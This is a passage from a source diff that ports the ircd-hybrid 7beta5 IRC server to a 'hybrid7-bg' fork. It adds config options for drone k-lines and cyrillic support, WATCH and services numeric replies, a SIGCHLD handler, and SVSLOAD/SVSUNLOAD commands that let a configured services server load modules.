+services_user:		USER '=' QSTRING ';'
+  {
+    MyFree(yy_aconf->user);
+    DupString(yy_aconf->user, yylval.string);
+  };
+
+services_host:		HOST '=' QSTRING ';'
+  {
+    MyFree(yy_aconf->host);
+    DupString(yy_aconf->host, yylval.string);
+  };
+
+/***************************************************************************
  *  section connect
  ***************************************************************************/
 
@@ -1343,7 +1512,7 @@
 
 connect_items:  connect_items connect_item |
                 connect_item
-
+;
 connect_item:   connect_name | connect_host | connect_send_password |
                 connect_accept_password | connect_port | connect_aftype | 
  		connect_fakename | connect_lazylink | connect_hub_mask | 
@@ -1351,7 +1520,7 @@
 		connect_encrypted | connect_compressed | connect_cryptlink |
 		connect_pubkey |
                 error
-
+;
 connect_name:   NAME '=' QSTRING ';'
   {
     if(yy_aconf->name != NULL)
@@ -1593,9 +1762,9 @@
 
 kill_items:     kill_items kill_item |
                 kill_item
-
+;
 kill_item:      kill_user | kill_reason | error
-
+;
 
 kill_user:      USER '=' QSTRING ';'
   {
@@ -1661,9 +1830,9 @@
 
 deny_items:     deny_items deny_item |
                 deny_item
-
+;
 deny_item:      deny_ip | deny_reason | error
-
+;
 
 deny_ip:        IP '=' QSTRING ';'
   {
@@ -1707,9 +1876,9 @@
 
 exempt_items:     exempt_items exempt_item |
                 exempt_item
-
+;
 exempt_item:      exempt_ip | error
-
+;
 exempt_ip:        IP '=' QSTRING ';'
   {
     char *p;
@@ -1750,9 +1919,9 @@
 
 gecos_items:     gecos_items gecos_item |
                  gecos_item
-
+;
 gecos_item:      gecos_name | gecos_reason | gecos_action | error
-
+;
 
 gecos_name:    NAME '=' QSTRING ';' 
   {
@@ -1787,15 +1956,16 @@
 
 general_entry:      GENERAL
   '{' general_items '}' ';'
-
+;
 general_items:      general_items general_item |
                     general_item
-
+;
 general_item:       general_failed_oper_notice |
                     general_anti_nick_flood | general_max_nick_time |
                     general_max_nick_changes | general_max_accept |
                     general_anti_spam_exit_message_time |
                     general_ts_warn_delta | general_ts_max_delta |
+					general_grace_time | general_spam_wait |
                     general_kline_with_reason |
                     general_kline_with_connection_closed |
                     general_warn_no_nline |
@@ -1808,17 +1978,41 @@
                     general_iauth_server |
                     general_iauth_port |
                     general_glines | general_gline_time |
-                    general_idletime |
+                    general_idletime | general_spawn_pass |
                     general_hide_server | general_maximum_links |
                     general_message_locale | general_client_exit |
                     general_fname_userlog | general_fname_operlog |
                     general_fname_foperlog | general_oper_only_umodes |
-                    general_max_targets |
+                    general_max_targets | general_repeat_grace |
                     general_links_delay | general_oper_umodes |
                     general_vchans_oper_only | general_disable_vchans |
                     general_caller_id_wait | general_default_floodcount |
                     general_persistant_expire_time | general_min_nonwildcard |
+                    general_netid | general_cyrillic | general_totaltrans |
+					general_drate_max | general_drate_period |
+					general_drone_kline | general_drone_batch |
+					general_drone_ktime | general_drone_reason |
                     error
+;
+general_cyrillic: CYRILLIC '=' TNO ';'
+  {
+    ConfigFileEntry.cyrillic = 0;
+  }
+    |
+    CYRILLIC '=' TYES ';'
+  {
+    ConfigFileEntry.cyrillic = 1;
+  } ;  
+
+general_totaltrans: TOTALTRANS '=' TNO ';'
+  {
+    ConfigFileEntry.totaltrans = 0;
+  }
+    |
+    TOTALTRANS '=' TYES ';'
+  {
+    ConfigFileEntry.totaltrans = 1;
+  } ;  
 
 general_failed_oper_notice:   FAILED_OPER_NOTICE '=' TYES ';'
   {
@@ -1874,6 +2068,57 @@
   {
     ConfigFileEntry.links_delay = $3;
   } ;
+
+general_grace_time:    GRACE_TIME '=' timespec ';'
+  {
+    ConfigFileEntry.grace_time = $3;
+  } ;
+
+general_spam_wait:     SPAM_WAIT '=' timespec ';'
+  {
+    ConfigFileEntry.spam_wait = $3;
+  } ;
+
+general_repeat_grace:  REPEAT_GRACE '=' timespec ';'
+  {
+    ConfigFileEntry.repeat_grace = $3;
+  } ;
+
+general_drate_max:     DRONE_RATE_MAX '=' expr ';'
+  {
+    ConfigFileEntry.drone_rate_max = $3;
+  } ;
+
+general_drate_period:  DRONE_RATE_PERIOD '=' timespec ';'
+  {
+    ConfigFileEntry.drone_rate_period = $3;
+  } ;
+
+general_drone_ktime:   DRONE_KLINE_TIME '=' timespec ';'
+  {
+    ConfigFileEntry.drone_kline_time = $3;
+  } ;
+
+general_drone_kline:   DRONE_KLINE '=' TYES ';'
+  {
+    ConfigFileEntry.drone_kline = 1;
+  }
+    |
+    DRONE_KLINE '=' TNO ';'
+  {
+    ConfigFileEntry.drone_kline = 0;
+  } ;
+
+general_drone_batch:   DRONE_BATCH '=' TYES ';'
+  {
+    ConfigFileEntry.drone_batch = 1;
+  }
+    |
+    DRONE_BATCH '=' TNO ';'
+  {
+    ConfigFileEntry.drone_batch = 0;
+  } ;
+
 general_kline_with_reason: KLINE_WITH_REASON '=' TYES ';'
   {
     ConfigFileEntry.kline_with_reason = 1;
@@ -2016,6 +2261,24 @@
 	      MAXPATHLEN-1)[MAXPATHLEN-1] = 0;
 };
 
+general_netid: NETID '=' QSTRING ';'
+{
+  strncpy_irc(ConfigFileEntry.netid, yylval.string,
+	      MAXNETID)[MAXNETID] = 0;
+};
+
+general_spawn_pass: SPAWN_PASS '=' QSTRING ';'
+{
+  strncpy_irc(ConfigFileEntry.spawn_pass, yylval.string,
+	      PASSWDLEN)[PASSWDLEN] = 0;
+};
+
+general_drone_reason: DREASON '=' QSTRING ';'
+{
+  strncpy_irc(ConfigFileEntry.drone_reason, yylval.string,
+	      MAXDREASON)[MAXDREASON] = 0;
+};
+
 general_glines: GLINES '=' TYES ';'
   {
     ConfigFileEntry.glines = 1;
@@ -2078,7 +2341,7 @@
 
 umode_oitems:    umode_oitems ',' umode_oitem |
   umode_oitem
-
+;
 umode_oitem:     T_BOTS
   {
     ConfigFileEntry.oper_umodes |= FLAGS_BOTS;
@@ -2103,6 +2366,10 @@
   {
     ConfigFileEntry.oper_umodes |= FLAGS_NCHANGE;
   }
+              | T_REMOTE
+  {
+    ConfigFileEntry.oper_umodes |= FLAGS_REMOTE;
+  }
               | T_REJ
   {
     ConfigFileEntry.oper_umodes |= FLAGS_REJ;
@@ -2156,7 +2423,7 @@
 
 umode_items:	umode_items ',' umode_item |
   umode_item 
-
+;
 umode_item:	T_BOTS 
   {
     ConfigFileEntry.oper_only_umodes |= FLAGS_BOTS;
@@ -2180,6 +2447,10 @@
               | T_NCHANGE
   {
     ConfigFileEntry.oper_only_umodes |= FLAGS_NCHANGE;
+  }
+              | T_REMOTE
+  {
+    ConfigFileEntry.oper_only_umodes |= FLAGS_REMOTE;
   }
               | T_REJ
   {
diff -uNrd ircd-hybrid-7beta5/src/ircd_signal.c hybrid7-bg/src/ircd_signal.c
--- ircd-hybrid-7beta5/src/ircd_signal.c	Thu Jan 18 04:07:39 2001
+++ hybrid7-bg/src/ircd_signal.c	Tue Jul 23 01:20:24 2002
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ircd_signal.c,v 7.5 2001/01/18 09:07:39 ejb Exp $
+ * $Id: ircd_signal.c,v 1.2 2002/07/23 05:20:24 Administrator Exp $
  */
 
 #include <signal.h>
@@ -73,6 +73,13 @@
   }
 }
 
+static void sigchld_handler(int sig)
+{
+	int status;
+
+	(void)wait(&status);
+}
+
 /*
  * setup_signals - initialize signal handlers for server
  */
@@ -107,6 +114,10 @@
   act.sa_handler = sigterm_handler;
   sigaddset(&act.sa_mask, SIGTERM);
   sigaction(SIGTERM, &act, 0);
+
+  act.sa_handler = sigchld_handler;
+  sigaddset(&act.sa_mask, SIGCHLD);
+  sigaction(SIGCHLD, &act, 0);
 }
 
 
diff -uNrd ircd-hybrid-7beta5/src/ircdauth.c hybrid7-bg/src/ircdauth.c
--- ircd-hybrid-7beta5/src/ircdauth.c	Mon Jan 22 19:42:46 2001
+++ hybrid7-bg/src/ircdauth.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: ircdauth.c,v 7.35 2001/01/23 00:42:46 ejb Exp $
+ *   $Id: ircdauth.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/src/linebuf.c hybrid7-bg/src/linebuf.c
--- ircd-hybrid-7beta5/src/linebuf.c	Wed May  2 03:17:05 2001
+++ hybrid7-bg/src/linebuf.c	Tue Jun  5 12:35:46 2001
@@ -6,7 +6,7 @@
  * The idea here is that we should really be maintaining pre-munged
  * buffer "lines" which we can later refcount to save needless copies.
  *
- * $Id: linebuf.c,v 7.31 2001/05/02 07:17:05 a1kmm Exp $
+ * $Id: linebuf.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <errno.h>
diff -uNrd ircd-hybrid-7beta5/src/list.c hybrid7-bg/src/list.c
--- ircd-hybrid-7beta5/src/list.c	Thu May 10 02:30:44 2001
+++ hybrid7-bg/src/list.c	Tue Jun  5 12:35:46 2001
@@ -19,7 +19,7 @@
  *
  *  (C) 1988 University of Oulu, Computing Center and Jarkko Oikarinen
  *
- * $Id: list.c,v 7.31 2001/05/10 06:30:44 a1kmm Exp $
+ * $Id: list.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "tools.h"
 #include "channel.h"
diff -uNrd ircd-hybrid-7beta5/src/listener.c hybrid7-bg/src/listener.c
--- ircd-hybrid-7beta5/src/listener.c	Fri Apr 13 18:39:50 2001
+++ hybrid7-bg/src/listener.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: listener.c,v 7.46 2001/04/13 22:39:50 davidt Exp $
+ *  $Id: listener.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #include "listener.h"
diff -uNrd ircd-hybrid-7beta5/src/m_error.c hybrid7-bg/src/m_error.c
--- ircd-hybrid-7beta5/src/m_error.c	Sun Apr  1 14:30:35 2001
+++ hybrid7-bg/src/m_error.c	Tue Jun  5 12:35:46 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_error.c,v 7.14 2001/04/01 18:30:35 ejb Exp $
+ *   $Id: m_error.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/src/match.c hybrid7-bg/src/match.c
--- ircd-hybrid-7beta5/src/match.c	Thu Jan 25 12:32:54 2001
+++ hybrid7-bg/src/match.c	Sat Feb 23 15:02:20 2002
@@ -22,7 +22,7 @@
  * Cleanup of collapse and match
  * Moved static calls variable to match
  * Added asserts for null pointers
- * $Id: match.c,v 7.12 2001/01/25 17:32:54 androsyn Exp $
+ * $Id: match.c,v 1.2 2002/02/23 20:02:20 demond Exp $
  *
  */
 #include "irc_string.h"
@@ -319,10 +319,10 @@
   0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
   0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9,
   0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
-  0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9,
-  0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
-  0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9,
-  0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+  0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9,
+  0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+  0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,
+  0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,
   0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9,
   0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
   0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,
@@ -358,10 +358,10 @@
   0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
   0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9,
   0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
-  0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9,
-  0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
-  0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,
-  0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff 
+  0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9,
+  0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+  0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9,
+  0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf 
 };
 
 /*
diff -uNrd ircd-hybrid-7beta5/src/memory.c hybrid7-bg/src/memory.c
--- ircd-hybrid-7beta5/src/memory.c	Thu May 10 02:30:45 2001
+++ hybrid7-bg/src/memory.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: memory.c,v 7.18 2001/05/10 06:30:45 a1kmm Exp $
+ * $Id: memory.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include <stdlib.h>
 #include <string.h>
diff -uNrd ircd-hybrid-7beta5/src/messages.tab hybrid7-bg/src/messages.tab
--- ircd-hybrid-7beta5/src/messages.tab	Mon Apr 30 11:32:53 2001
+++ hybrid7-bg/src/messages.tab	Wed Jul 24 09:10:05 2002
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: messages.tab,v 7.49 2001/04/30 15:32:53 jdc Exp $
+ *   $Id: messages.tab,v 1.15 2002/07/24 13:10:05 Administrator Exp $
  */
 
 static  char *  replies[] = {
@@ -247,10 +247,10 @@
 /* 224 */       (char *)NULL,
 /* 225 RPL_STATSDLINE*/         ":%s 225 %s %c %s %s",
 /* 226 RPL_STATSALINE*/         ":%s 226 %s %s",
-/* 227 */       (char *)NULL,
-/* 228 */       (char *)NULL,
-/* 229 */       (char *)NULL,
-/* 230 */       (char *)NULL,
+/* 227 RPL_STATSZLINE*/		":%s 227 %s Services %s",
+/* 228 RPL_EQUIVALENTS*/	":%s 228 %s Equiv %s/%s",
+/* 229 RPL_RELAYS*/             ":%s 229 %s Relay %s",
+/* 230 RPL_USERPARMS*/			":%s 230 %s Userpar %s %s",
 /* 231 */       (char *)NULL,
 /* 232 */       (char *)NULL,
 /* 233 */       (char *)NULL,
@@ -322,7 +322,7 @@
 /* 294 */       (char *)NULL,
 /* 295 */       (char *)NULL,
 /* 296 */       (char *)NULL,
-/* 298 */       (char *)NULL,
+/* 298 RPL_WHOISCYRILLIC, */    ":%s 298 %s %s :has cyrillic-encoded nickname", 
 /* 299 */       (char *)NULL,
 /* 300 RPL_NONE, */      (char *)NULL,
 /* 301 RPL_AWAY, */      ":%s 301 %s %s :%s",
@@ -344,16 +344,16 @@
 /* 317 RPL_WHOISIDLE, */        ":%s 317 %s %s %d %d :seconds idle, signon time",
 /* 318 RPL_ENDOFWHOIS, */       ":%s 318 %s %s :End of /WHOIS list.",
 /* 319 RPL_WHOISCHANNELS, */    ":%s 319 %s %s :%s",
-/* 320 */      (char *)NULL,
+/* 320 */       (char *)NULL,
 /* 321 RPL_LISTSTART, */        ":%s 321 %s Channel :Users  Name",
 /* 322 RPL_LIST, */             ":%s 322 %s %s %d :%s",
 /* 323 RPL_LISTEND, */          ":%s 323 %s :End of /LIST",
 /* 324 RPL_CHANNELMODEIS, */    ":%s 324 %s %s %s %s",
 /* 325 */       (char *)NULL,
-/* 326 */       (char *)NULL,
-/* 327 */       (char *)NULL,
+/* 326 RPL_WHOISSVSHINT, */     ":%s 326 %s %s :has identified for: %s",
+/* 327 RPL_WHOISREALHOST, */	":%s 327 %s %s :logged on %s from %s",
 /* 328 */       (char *)NULL,
-/* 329 RPL_CREATIONTIME, */      ":%s 329 %s %s %lu", 
+/* 329 RPL_CREATIONTIME, */     ":%s 329 %s %s %lu", 
 /* 330 */       (char *)NULL,
 /* 331 RPL_NOTOPIC, */          ":%s 331 %s %s :No topic is set.",
 /* 332 RPL_TOPIC, */            ":%s 332 %s %s :%s",
@@ -368,8 +368,8 @@
 /* 341 RPL_INVITING, */         ":%s 341 %s %s %s",
 /* 342 RPL_SUMMONING, */ (char *)NULL,
 /* 343 */       (char *)NULL,
-/* 344 */       (char *)NULL,
-/* 345 */       (char *)NULL,
+/* 344 RPL_SUBSTLIST */         ":%s 344 %s %s %s %s %lu",
+/* 345 RPL_ENDOFSUBSTLIST */    ":%s 345 %s %s :End of Channel Subst List",
 /* 346 RPL_INVEXLIST */         ":%s 346 %s %s %s %s %lu",       
 /* 347 RPL_ENDOFINVEXLIST */    ":%s 347 %s %s :End of Channel Invite List",
 /* 348 RPL_EXCEPTLIST */        ":%s 348 %s %s %s %s %lu",
@@ -478,7 +478,7 @@
 /* 449 */       (char *)NULL,
 /* 450 */       (char *)NULL,
 /* 451 ERR_NOTREGISTERED, */    ":%s 451 %s :You have not registered",
-/* 452 */       (char *)NULL,
+/* 452 ERR_NOREPEATING, */      ":%s 452 %s %s :No repeating allowed (+z)",
 /* 453 */       (char *)NULL,
 /* 454 */       (char *)NULL,
 /* 455 */       (char *)NULL,
@@ -494,9 +494,9 @@
 /* 465 ERR_YOUREBANNEDCREEP, */ ":%s 465 %s :You are banned from this server- %s",
 /* 466 ERR_YOUWILLBEBANNED, */  (char *)NULL,
 /* 467 ERR_KEYSET, */           ":%s 467 %s %s :Channel key already set",
-/* 468 */       (char *)NULL,
-/* 469 */       (char *)NULL,
-/* 470 */       (char *)NULL,
+/* 468 ERR_CANNOTSENDNOTREG, */ ":%s 468 %s %s :Cannot send to channel (+M)",
+/* 469 ERR_REGNICKSCHAN, */     ":%s 469 %s %s :Cannot join channel (+R)",
+/* 470 ERR_NOCYRNICKCHAN, */    ":%s 470 %s %s :Cannot join channel (+C)",
 /* 471 ERR_CHANNELISFULL, */    ":%s 471 %s %s :Cannot join channel (+l)",
 /* 472 ERR_UNKNOWNMODE  , */    ":%s 472 %s %c :is unknown mode char to me",
 /* 473 ERR_INVITEONLYCHAN, */   ":%s 473 %s %s :Cannot join channel (+i)",
@@ -514,8 +514,8 @@
 /* 484 ERR_RESTRICTED, */       ":%s 484 %s :You are restricted",
 /* 485 ERR_BANNEDNICK, */
        ":%s 485 %s :Can't change nick when banned or on a moderated channel (%s)",
-/* 486 */       (char *)NULL,
-/* 487 */       (char *)NULL,
+/* 486 ERR_CANTKICKSERVICES, */ ":%s 486 %s %s %s :Cannot kick services bots",
+/* 487 ERR_CANTDEOPSERVICES, */ ":%s 487 %s %s %s :Cannot de-op services bots",
 /* 488 */       (char *)NULL,
 /* 489 */       (char *)NULL,
 /* 490 */       (char *)NULL,
@@ -527,14 +527,117 @@
 /* 496 */       (char *)NULL,
 /* 497 */       (char *)NULL,
 /* 498 */       (char *)NULL,
-/* 499 */       (char *)NULL,
-/* 500 */       (char *)NULL,
+/* 499 ERR_REGACCEPTONLY, */    ":%s 499 %s %s :Accepts messages from registered nicks only",
+    /* 500 ERR_TOOMANYWATCH */	":%s 500 %s %s :Maximum size for WATCH-list is 128 entries",
 /* 501 ERR_UMODEUNKNOWNFLAG, */ ":%s 501 %s :Unknown MODE flag",
 /* 502 ERR_USERSDONTMATCH, */   ":%s 502 %s :Can't change mode for other users",
 /* 503 ERR_GHOSTEDCLIENT, */    ":%s 503 %s :Message could not be delivered to %s",
 /* 504 ERR_USERNOTONSERV, */    ":%s 504 %s %s :User is not on this server",
-/* 505 LAST ERR_LAST_ERR_MSG, */        ":%s 505 %s :Last Error Message",
-                (char *)NULL
+/* 505 */       (char *)NULL,
+    /* 506 */	                NULL,
+    /* 507 */	                NULL,
+    /* 508 */	                NULL,
+    /* 509 */	                NULL,
+    /* 510 */	                NULL,
+    /* 511 */	                NULL,
+    /* 512 */	                NULL,
+    /* 513 */	                NULL,
+    /* 514 */	                NULL,
+    /* 515 */	                NULL,
+    /* 516 */	                NULL,
+    /* 517 */	                NULL,
+    /* 518 */	                NULL,
+    /* 519 */	                NULL,
+    /* 520 */	                NULL,
+    /* 521 */	                NULL,
+    /* 522 */	                NULL,
+    /* 523 */	                NULL,
+    /* 524 */	                NULL,
+    /* 525 */	                NULL,
+    /* 526 */	                NULL,
+    /* 527 */	                NULL,
+    /* 528 */	                NULL,
+    /* 529 */	                NULL,
+    /* 530 */	                NULL,
+    /* 531 */	                NULL,
+    /* 532 */	                NULL,
+    /* 533 */	                NULL,
+    /* 534 */	                NULL,
+    /* 535 */	                NULL,
+    /* 536 */	                NULL,
+    /* 537 */	                NULL,
+    /* 538 */	                NULL,
+    /* 539 */	                NULL,
+    /* 540 */	                NULL,
+    /* 541 */	                NULL,
+    /* 542 */	                NULL,
+    /* 543 */	                NULL,
+    /* 544 */	                NULL,
+    /* 545 */	                NULL,
+    /* 546 */	                NULL,
+    /* 547 */	                NULL,
+    /* 548 */	                NULL,
+    /* 549 */	                NULL,
+    /* 550 */	                NULL,
+    /* 551 */	                NULL,
+    /* 552 */	                NULL,
+    /* 553 */	                NULL,
+    /* 554 */	                NULL,
+    /* 555 */	                NULL,
+    /* 556 */	                NULL,
+    /* 557 */	                NULL,
+    /* 558 */	                NULL,
+    /* 559 */	                NULL,
+    /* 560 */	                NULL,
+    /* 561 */	                NULL,
+    /* 562 */	                NULL,
+    /* 563 */	                NULL,
+    /* 564 */	                NULL,
+    /* 565 */	                NULL,
+    /* 566 */	                NULL,
+    /* 567 */	                NULL,
+    /* 568 */	                NULL,
+    /* 569 */	                NULL,
+    /* 570 */	                NULL,
+    /* 571 */	                NULL,
+    /* 572 */	                NULL,
+    /* 573 */	                NULL,
+    /* 574 */	                NULL,
+    /* 575 */	                NULL,
+    /* 576 */	                NULL,
+    /* 577 */	                NULL,
+    /* 578 */	                NULL,
+    /* 579 */	                NULL,
+    /* 580 */	                NULL,
+    /* 581 */	                NULL,
+    /* 582 */	                NULL,
+    /* 583 */	                NULL,
+    /* 584 */	                NULL,
+    /* 585 */	                NULL,
+    /* 586 */	                NULL,
+    /* 587 */	                NULL,
+    /* 588 */	                NULL,
+    /* 589 */	                NULL,
+    /* 590 */	                NULL,
+    /* 591 */	                NULL,
+    /* 592 */	                NULL,
+    /* 593 */	                NULL,
+    /* 594 */	                NULL,
+    /* 595 */	                NULL,
+    /* 596 */	                NULL,
+    /* 597 */	                NULL,
+    /* 598 */	                NULL,
+    /* 599 */	                NULL,
+    /* 600 RPL_LOGON */		":%s 600 %s %s %s %s %d :logged online",
+    /* 601 RPL_LOGOFF */	":%s 601 %s %s %s %s %d :logged offline",
+    /* 602 RPL_WATCHOFF */	":%s 602 %s %s %s %s %d :stopped watching",
+    /* 603 RPL_WATCHSTAT */ ":%s 603 %s :You have %d and are on %d WATCH entries",
+    /* 604 RPL_NOWON */		":%s 604 %s %s %s %s %d :is online",
+    /* 605 RPL_NOWOFF */	":%s 605 %s %s %s %s %d :is offline",
+    /* 606 RPL_WATCHLIST */	":%s 606 %s :%s",
+    /* 607 RPL_ENDOFWATCHLIST */	":%s 607 %s :End of WATCH %c",
+/* 608 LAST ERR_LAST_ERR_MSG, */    ":%s 608 %s :Last Error Message",
+				(char *)NULL
 };
 
 
diff -uNrd ircd-hybrid-7beta5/src/modules-dld.c hybrid7-bg/src/modules-dld.c
--- ircd-hybrid-7beta5/src/modules-dld.c	Mon Mar  5 21:23:01 2001
+++ hybrid7-bg/src/modules-dld.c	Sat Jun 16 21:27:38 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modules-dld.c,v 1.4 2001/03/06 02:23:01 androsyn Exp $
+ * $Id: modules-dld.c,v 1.2 2001/06/17 01:27:38 demond Exp $
  *
  * This is based on modules.c, but for OSes like HP-UX which use shl_open
  * instead of dlopen
@@ -193,7 +193,7 @@
   if(shl_findsym(modlist[modindex]->address, "_moddeinit", TYPE_UNDEFINED, &deinitfunc) == 0)
     deinitfunc ();
   else
-    if(shl_findsym(modlist[modindex]->address, "__moddeinit, TYPE_UNDEFINED. &deinitfunc) == 0)
+    if(shl_findsym(modlist[modindex]->address, "__moddeinit", TYPE_UNDEFINED. &deinitfunc) == 0)
     	deinitfunc ();	
 
   shl_unload(modlist[modindex]->address);
diff -uNrd ircd-hybrid-7beta5/src/modules.c hybrid7-bg/src/modules.c
--- ircd-hybrid-7beta5/src/modules.c	Wed Apr  4 12:17:44 2001
+++ hybrid7-bg/src/modules.c	Wed Jul 24 15:04:31 2002
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modules.c,v 7.59 2001/04/04 16:17:44 androsyn Exp $
+ * $Id: modules.c,v 1.6 2002/07/24 19:04:31 Administrator Exp $
  */
 #include "config.h"
 
@@ -36,6 +36,8 @@
 
 #include "modules.h"
 #include "s_log.h"
+#include "s_conf.h"
+#include "s_serv.h"
 #include "ircd.h"
 #include "client.h"
 #include "send.h"
@@ -72,6 +74,8 @@
 static void mo_modreload(struct Client*, struct Client*, int, char**);
 static void mo_modunload(struct Client*, struct Client*, int, char**);
 static void mo_modrestart(struct Client*, struct Client*, int, char**);
+static void ms_svsload(struct Client*, struct Client*, int, char**);
+static void ms_svsunload(struct Client*, struct Client*, int, char**);
 
 struct Message modload_msgtab = {
  "MODLOAD", 0, 2, 0, MFLG_SLOW, 0,
@@ -88,6 +92,16 @@
   {m_unregistered, m_not_oper, m_ignore, mo_modreload}
 };
 
+struct Message svsload_msgtab = {
+  "SVSLOAD", 0, 2, 0, MFLG_SLOW, 0,
+  {m_unregistered, m_ignore, ms_svsload, m_ignore}
+};
+
+struct Message svsunload_msgtab = {
+  "SVSUNLOAD", 0, 2, 0, MFLG_SLOW, 0,
+  {m_unregistered, m_ignore, ms_svsunload, m_ignore}
+};
+
 struct Message modlist_msgtab = {
  "MODLIST", 0, 1, 0, MFLG_SLOW, 0,
   {m_unregistered, m_not_oper, m_ignore, mo_modlist}
@@ -103,7 +117,9 @@
 {
 	mod_add_cmd(&modload_msgtab);
 	mod_add_cmd(&modunload_msgtab);
-        mod_add_cmd(&modreload_msgtab);
+    mod_add_cmd(&modreload_msgtab);
+    mod_add_cmd(&svsload_msgtab);
+    mod_add_cmd(&svsunload_msgtab);
 	mod_add_cmd(&modlist_msgtab);
 	mod_add_cmd(&modrestart_msgtab);
 }
@@ -545,6 +561,45 @@
       modnum, num_mods);
 }
 
+static void
+ms_svsload(struct Client *client_p, struct Client *source_p, int parc, char **parv)
+{
+	char *m_bn;
+
+  if (parc < 3)
+    return;
+
+  if (hunt_server(client_p, source_p, ":%s SVSLOAD %s :%s", 
+		  1, parc, parv) != HUNTED_ISME)
+    return;
+
+  if (!find_z_conf(parv[0]))
+    return;
+
+	m_bn = irc_basename(parv[2]);
+
+	if (findmodule_byname(m_bn) == -1)
+		load_a_module(parv[2], 0);
+	  
+	MyFree(m_bn);
+}
+
+static void
+ms_svsunload(struct Client *client_p, struct Client *source_p, int parc, char **parv)
+{
+  if (parc < 3)
+    return;
+
+  if (hunt_server(client_p, source_p, ":%s SVSUNLOAD %s :%s", 
+		  1, parc, parv) != HUNTED_ISME)
+    return;
+
+  if (!find_z_conf(parv[0]))
+    return;
+
+	unload_one_module(parv[2], 0);
+}
+
 #else /* STATIC_MODULES */
 
 void
@@ -561,6 +616,7 @@
 	mod_add_cmd(&cjoin_msgtab);
 	mod_add_cmd(&client_msgtab);
 	mod_add_cmd(&close_msgtab);
+	mod_add_cmd(&conf_msgtab);
 	mod_add_cmd(&connect_msgtab);
 	mod_add_cmd(&die_msgtab);
 	mod_add_cmd(&dmem_msgtab);
@@ -606,6 +662,8 @@
 	mod_add_cmd(&squit_msgtab);
 	mod_add_cmd(&stats_msgtab);
 	mod_add_cmd(&svinfo_msgtab);
+	mod_add_cmd(&svsnick_msgtab);
+	mod_add_cmd(&svshint_msgtab);
 	mod_add_cmd(&testline_msgtab);
 	mod_add_cmd(&time_msgtab);
 	mod_add_cmd(&topic_msgtab);
@@ -618,6 +676,7 @@
 	mod_add_cmd(&users_msgtab);
 	mod_add_cmd(&version_msgtab);
 	mod_add_cmd(&wallops_msgtab);
+	mod_add_cmd(&watch_msgtab);
 	mod_add_cmd(&who_msgtab);
 	mod_add_cmd(&whois_msgtab);
 	mod_add_cmd(&whowas_msgtab);
diff -uNrd ircd-hybrid-7beta5/src/motd.c hybrid7-bg/src/motd.c
